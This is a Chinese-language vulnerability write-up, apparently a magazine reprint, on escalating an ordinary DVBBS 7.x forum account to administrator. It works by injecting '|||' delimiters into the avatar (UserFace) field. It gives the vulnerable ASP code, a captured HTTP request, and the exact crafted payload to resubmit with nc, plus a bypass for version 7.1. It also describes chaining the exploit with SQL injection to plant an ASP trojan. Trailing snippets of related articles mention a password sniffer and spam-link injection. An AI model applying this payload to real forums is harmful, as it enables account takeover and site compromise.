动网7.x权限提升漏洞原理_漏洞研究

在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文说是admin_postings.asp文件存在注入漏洞但利用的前提是拥有超级版主或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞 正好可以结合起来利用。这个前台权限提升漏洞对7.x的ccess和 SQL版都有效。下面我们就以7.0 SP2 SQL版讲解这个漏洞的利用。

漏洞分析

我们知道动网是通过GroupID来判断当前用户所在的组的然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢让我们看看登录验证的那一段login.asp的行左右

Rem ==========论坛登录函数=========

Rem 判断用户登录

Function ChkUserLogin(username,password,mobile,userCookies,ctype)

…………前面的代码省略

SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace

,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,

userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,

UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday "

SQL=SQL+" From [Dv_User] Where "&SQLstr&""

set rsUser=DVBBS.Execute(SQL)

If rsUser.eof and rsUser.bof Then

ChkUserLogin=false

Exit Function

Else

iMyUserInfo=rsUser.GetString(,1, "|||", "", "")

rsUser.Close:Set rsUser = Nothing

End If

iMyUserInfo = "DVBBS|||"& Now & "|||" & Now &"|||"& DVBBS.BoardID &"|||"&

iMyUserInfo &"||||||DVBBS"

iMyUserInfo = Split(iMyUserInfo,"|||")

If trim(password)<>trim(iMyUserInfo(6)) Then

ChkUserLogin=false

ElseIf iMyUserInfo(17)=1 Then

ChkUserLogin=false

ElseIf iMyUserInfo(19)=5 Then

ChkUserLogin=false

Else

ChkUserLogin=True

Session(DVBBS.CacheName & "UserID") = iMyUserInfo

DVBBS.UserID = iMyUserInfo(4)

RegName = iMyUserInfo(5)

Article = iMyUserInfo(8)

UserLastLogin = iMyUserInfo(15)

UserClass = iMyUserInfo(18) 

GroupID = iMyUserInfo(19)

TitlePic = iMyUserInfo(34)

If Article<0 Then Article=0

End If

…………后面的代码省略

可以看到动网将用户的信息先用“|||”三个竖线连起来做为一个字符串传给iMyUserInfo,然后iMyUserInfo由“|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元素的值iMyUserInfo(19)赋给GroupID。看到没GroupID只是数组对应的第20个元素的值如果iMyUserInfo(19)的值为的话动网就以为现在登录的用户是前台管理员了。

在inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码用来在用户更新信息后检测用户的权限。

Dv_ClsMain.asp的行左右

Public Sub TrueCheckUserLogin()

……前面的省略

Dim Rs,SQL

SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,

UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,

UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,

UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"

SQL=SQL+" From [Dv_User] Where UserID = " & UserID

Set Rs = Execute(SQL)

If Rs.Eof And Rs.Bof Then

Rs.Close:Set Rs = Nothing

UserID = 0

EmptyCookies

LetGuestSession()

Else

MyUserInfo=Rs.GetString(,1, "|||","","")

Rs.Close:Set Rs = Nothing

If IsArray(Session(CacheName & "UserID")) Then

MyUserInfo = "DVBBS|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"

Else

MyUserInfo = "DVBBS|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS"

End IF

Response.Write MyUserInfo

MyUserInfo = Split(MyUserInfo,"|||")

…… 

End If

End Sub

用户登录成功后采用本函数读取用户数组并判断一些常用信息

Public Sub GetCacheUserInfo()

MyUserInfo = Session(CacheName & "UserID")

UserID = Clng(MyUserInfo(4))

MemberName = MyUserInfo(5)

Lastlogin = MyUserInfo(15)

If Not IsDate(LastLogin) Then LastLogin = Now()

UserGroupID = Cint(MyUserInfo(19))

    ……后面代码省略

两处检验的方式一模一样所以我们可以利用这两个中的任意一个来达到我们的目的。看它的SQL语句部分

SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"

SQL=SQL+" From [Dv_User] Where UserID = " & UserID

UserGroupID字段排在第个只要我们前面的一个字段的数据中含有“|||”那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊的要求字段类型要合适不能为数字型字段的长度要可以容纳下我们构造的数组并且还得是上面SQL语句中排在UserGroupID前面的字段这样才能使构造的数组改变原来数组中UserGroupID的位置。如图所示。

我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在我们没法在UserEmail字段中插入‘|',所以能利用的就只有UserFace字段了。

在基本资料修改时动网只过滤了SQL注入用的几个符号没有过滤掉‘|'所以只要我们构造出正确的字符串就可以骗过动网成为管理员组的用户了。

  face=Dv_FilterJS(replace(face,"",""))

face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

漏洞的利用

如何构造这个UserFace来达到我们的目的呢最开始我以为只要iMyUserInfo(19)为就可以是管理员了但一直没有成功。其实我们在构造这个UserFace时还要考虑到一点我们已经改变了iMyUserInfo数组的结构我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样否则就会出现类型转换错误比如UserBirthday在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值然后将UserGroupID位置改为一。我修改了login.asp文件让它在用户登录时显示当前用户的iMyUserInfo的内容如图2所示。

例如admin不一定非得是admin的其他用户的也行只要UserGroupID处改为就行了登录时的iMyUserInfo的值为

DVBBS|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||

eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200

|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS

我们可以取

images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS

做我们的serFace值要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个我们可以用NC来提交。

先在本机测试一下用普通用户登录动网现在用户等级还是新手上路。

好了我们去修改基本信息的地方。

提交用WSE抓下这个包

截取到的包如下

POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://210.41.235.199/bs/mymodify.asp Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)

Host: 210.41.235.199 Content-Length: 396 Connection: Keep-Alive Cache-Control: no-cache Cookie: 210%2E41%2E235%2E199%2Fbs%2F=userCookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM

title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&userCookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2

好我们把userface的值给替换成

images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||

9pc722664t5w7IM7|||0|0|0 ||||||DVBBS

要注意中间的空格替换成%20重新计算Content-Length的值然后用NC提交一次我们这个用户的userface就替换过来了。我们现在再重新登录看看。

哈哈看到了吗我们已经是管理员了。再利用黑防第六期《动网7.1漏洞惊现江湖》一文中的漏洞就可以添加后台管理员了。

动网7.1利用方法

动网的7.1版利用这个漏洞的方法有点小变化难度也比7.0 SP2要大。7.1版中加入了对face变量中的'|'符号的过滤

mymodify.asp文件中的270行附近

face=Dv_FilterJS(Replace(face,"",""))

face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","")

可惜的是动网的程序员百密而一疏忘了注册时也可以修改头像在reg.asp中就没有对face变量做任何的过滤。Reg.asp文件的285行附近。

If Request.form("face")<>"" Then

face=Request.form("face")

End If

同样还是先抓包后用NC提交。注册登录后就是前台管理员了。但还要一个问题就是Truepassword问题。7.1中加强了对Cookie欺骗的防范所以这个truepassword变化的太频繁了。在7.0SP2的newpass.asp中只有一个更新当前用户turepassword的指令

7.0 SP2的newpass.asp文件

处理 SSI 文件时出错

处理 SSI 文件时出错

<%

DVBBS.NewPassword0()

%>

而在7.1中newpass.asp还会检查用户的Cookies是否更新。7.1newpass.asp文件的30行左右

检查写入是否成功如果成功则更新数据

If DVBBS.checkStr(Trim(Request.Cookies(DVBBS.Forum_sn)("password")))=TruePassWord Then

DVBBS.Execute("UpDate [Dv_user] Set TruePassWord="&TruePassWord&" where UserID="&DVBBS.UserID)

DVBBS.MemberWord = TruePassWord

Dim iUserInfo

iUserInfo = Session(DVBBS.CacheName & "UserID")

iUserInfo(35) = TruePassWord

Session(DVBBS.CacheName & "UserID") = iUserInfo

End If

在7.1中我们的客户端的Cookies中的truepassword被更新成新的truepassword由于服务器端的truepassword也是从MyUserInfo中得来的而MyUserInfo中的truepassword值是不会改变的在检测时就会形成一个死循环。我们的解决的办法是用Cookies锁定用桂林老兵的浏览器锁定我们的Cookies之前得将Cookies中的truepassword值设成和MyUserInfo中的truepassword值一致。这样就不会重复请求newpass.asp进入死循环了。

由于手头上没有7.1的SQL版的代码所以上面是在7.1的Access版下测试的可以成功的成为前台的管理员。

后记

漏洞的防范方法改数据库结构的工程大了点建议在reg.asp和mymodify.asp中加入对相应变量的”|”符号进行过滤比如

face=Dv_FilterJS(Replace(face,"",""))

face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","")

还想提一点动网太信任后台的管理员了所以在后台的很多地方都没有对SQL注入进行防范这就形如给我们开了一个SQL注入之门。我们曾经检测的一个网站设置的非常。上面用的就是DVBBS的论坛。当我们取得了DVBBS的后台管理员权限时才发现上传目录没有执行权限asp木马传上去了又原样返回。而由执行asp权限的目录又没有写入的权限。网站上又没有其他的站点可以注入。后来发现DVBBS后台有注入后才总算得到一匹小马。真是千里之堤,溃于蚁穴啊。

哆嗦一句这个权限提升漏洞没有太高深的技巧但后果是非常严重的。由于前台管理的多个页面存在SQL注入所以这个漏洞对DVBBS 7.x SQL版的危害非常大。请不要用本文的方法做破坏行为否则后果自负。

时间: 2024-10-25 18:44:45

动网7.x权限提升漏洞原理_漏洞研究的相关文章

为动网论坛添加一个密码嗅探器(DVBBS)_漏洞研究

动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜.很多人都把它作为自己论坛的最佳首选.但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码.再数据库中只能查询了加密后的结果.   先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同.如果相同,登陆成功,将个人信息保存在COOKIE中.   现在我们要自己动手,为论坛增加一项记录密码的功能. 

关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析_漏洞研究

目前的oblog.动易.风讯等一系列著名的系统,都存在源码编辑漏洞.  具体操作是:  1,进入"源码"编辑  2,输入阶段公分四段:  第一段:<此处输入正文,做事需要手下留情嘛,来点实际内容>  第二段:<script>document.write('<div style="display:none">');</script>  第三段:<此处输入作弊链接,获取google的pr值,此处的内容将不会被浏览者看

动网升级疑难集合(1)_应用技巧

--  作者:飞天侠--  发布时间:2006-4-26 1:08:52 --  运行时错误记录与解决方案(动网) 1.问: Microsoft VBScript 运行时错误 错误 '800a01a8' 缺少对象: 'UserSession.documentElement'   /bbs/inc/Dv_ClsMain.asp,行 518   升级SP1后出现这个错误!!是哪里出现问题呢? 答: 试试执行升级包中的更新服务器缓存 2.问:但在论坛用户组(等级)管理时出错如下: Microsoft

我是如何发现CCProxy远程溢出漏洞的_漏洞研究

CCProxy是一个国产的支持HTTP.FTP.Gopher.SOCKS4/5.Telnet.Secure(HTTPS).News(NNTP). RTSP.MMS等代理协议的代理服务器软件.因为其简单易用.界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理.前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码.    TIPS:什么是Gopher.RTSP.MMS?    G

JSP脚本漏洞面面观_漏洞研究

  服务器漏洞是安全问题的起源,黑客对网站的攻击也大多是从查找对方的漏洞开始的.所以只有了解自身的漏洞,网站管理人员才能采取相应的对策,阻止外来的攻击.下面介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞.    Apache泄露重写的任意文件漏洞是怎么回事?    在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径.如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件.   

vista输入法漏洞重出江湖_漏洞研究

Google的拼音输入法出现了一个漏洞,该漏洞影响Vista. 该漏洞和当年的win2000上的输入法漏洞如出一辙. 在登陆界面通过热键切换出google 输入法,然后选择帮助-->跳转到url 然后就可以以system权限执行命令了. 建议vista用户暂时不要使用google拼音输入法. PS:难道是炒作...又见炒作! 

WEBSHELL提升权限又一招_漏洞研究

      Serv提权方式人人都会用了,搞得现在的主机都配置得非常安全,看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一,还有其他的pcanywhere获取密码,替换服务,等等.但是现在也没这么好搞了,随着安全意识的提高,之前的方式估计不怎么管用,现在我给大家介绍一下一种新的提权方式,看过古典LM做的那动画的朋友都知道吧?利用MYSQLl弱口令拿到系统权限,在WEBSHEL上也可实现,不过有个前提,就是目标主机装有MYSQL,而你又知道MYSQL的用户和密码,才可以进行提权.WEB

Oblog3.0漏洞曝光_漏洞研究

看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法.佩服,佩服.说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码:  sub moveblog()  if id="" then  Oblog.adderrstr(&q

shell.application对象的漏洞描述_漏洞研究

环境:在2kserver+iis5成功,权限默认iusr权限  iis权限:脚本可执行 描述:在2K服务器上默认可以用server.createobject的方法来使用已经安装的组件.  比如大家都知道的ADO数据库控件,但是除了这些专门提供的组件外  还有一些本来是提供给系统使用的组件如WSH,FSO它们同样可以用上面的办法来使用,  当然现在大部分的asp后门都使用了它们,所以有的网管就删除或更改注册表中这两个组件的CLSID值  来禁用它们,当然也有的在"控制面板"的"